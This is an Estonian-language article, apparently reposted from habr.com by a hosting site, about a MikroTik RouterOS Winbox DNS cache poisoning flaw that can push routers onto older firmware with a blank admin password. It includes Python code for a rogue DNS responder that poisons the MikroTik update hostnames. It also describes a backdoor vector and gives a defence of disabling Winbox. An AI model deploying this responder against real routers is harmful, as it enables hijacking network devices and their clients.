Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

RouterOS (Mikrotik) seadmete kaugallavõtmise võimalus seab ohtu sadu tuhandeid võrguseadmeid. Haavatavus on seotud Winboxi protokolli DNS-i vahemälu mürgitamisega ja võimaldab seadmele laadida vananenud (vaikeseade taastamise parooliga) või muudetud püsivara.

Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

Haavatavuse üksikasjad

RouterOS terminal toetab DNS-i lahendamise käsku.

Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

See päring töödeldakse binaarfailiga nimega resolver. Resolver on üks paljusid binaarfailide seas, mis on seotud RouterOSi Winboxi protokolliga. Suures plaanis võivad Winboxi pordile saadetud 'sõnumid' suunata erinevatesse binaarfailidesse RouterOSis vastavalt massiivi numbriskeemile.

RouterOSis on vaikimisi DNS-serveri funktsioon keelatud.

Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

Kuid isegi DNS-serveri funktsiooni keelamisel hoiab ruuter oma DNS-i vahemälu.

Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

Kui teeme päringu, kasutades winbox_dns_request, näiteks example.com, salvestab ruuter tulemuse.

Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

Kuna saame määrata DNS-serveri, mille kaudu päring peaks kulgema, on vale aadresse sisestada lihtne. Näiteks saab seadistada DNS-serveri rakenduse Filip Klaus, et vastaks alati A registreerimise kaudu, mis sisaldab IP-aadressi 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn, ttl=30, rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Nüüd, kui otsida Winboxis example.com, siis võib näha, et ruuteri DNS-vahemälu on saastatud.

Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

Tõepoolest, example.com'i saastamine ei ole väga kasulik, kuna ruuter ei kasuta seda tegelikult. Siiski vajab ruuter ühendust upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ja download.mikrotik.com. Ja tänu veel ühele veale on võimalus saastada neid kõiki korraga.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn, ttl=30, rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com", ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com", ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com", ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com", ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Ruuter küsib ühte lubatust, kuid me anname tagasi viis. Ruuter salvestab kõik need vastused valesti.

Backporti haavatavus RouterOS seab ohtu sadu tuhandeid seadmeid

On ilmne, et see rünnak on samuti kasulik, kui ruuter tegutseb DNS-serverina, kuna see võimaldab rünnata ruuteri kliente.

See rünnak võimaldab ära kasutada ka tõsisemat haavatavust: teostada ruuterite operatsioonisüsteemi versiooni allahindlust või taandamist. Ründaja rekonstrueerib värskenduste serveri loogika, sealhulgas muudatuste logi, ning sundib RouterOS-i vananenud (haavatava) versiooni aktsepteerimiseks. Siin peitub oht selles, et versiooni „uuendamisel“ lähtestatakse administraatori parool vaikeväärtusele – kurjategija pääseb süsteemi sisse tühja parooliga!

Vaata videot

Rünnak on täiesti toimiv, vaatamata sellele, et autor rakendab veel mitu vektorit, sealhulgas tagakülje sisestamine tarkvarasse, kuid see on juba ülemäärane tehnika ja selle rakendamine ebaseaduslikel eesmärkidel on seadusvastane.

Kaitse

Winboxi lihtne keelamine aitab end nende rünnakute eest kaitsta. Kuigi Winboxi kaudu haldamine on mugav, tuleks kasutada SSH-protokolli.

Allikas: habr.com

Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster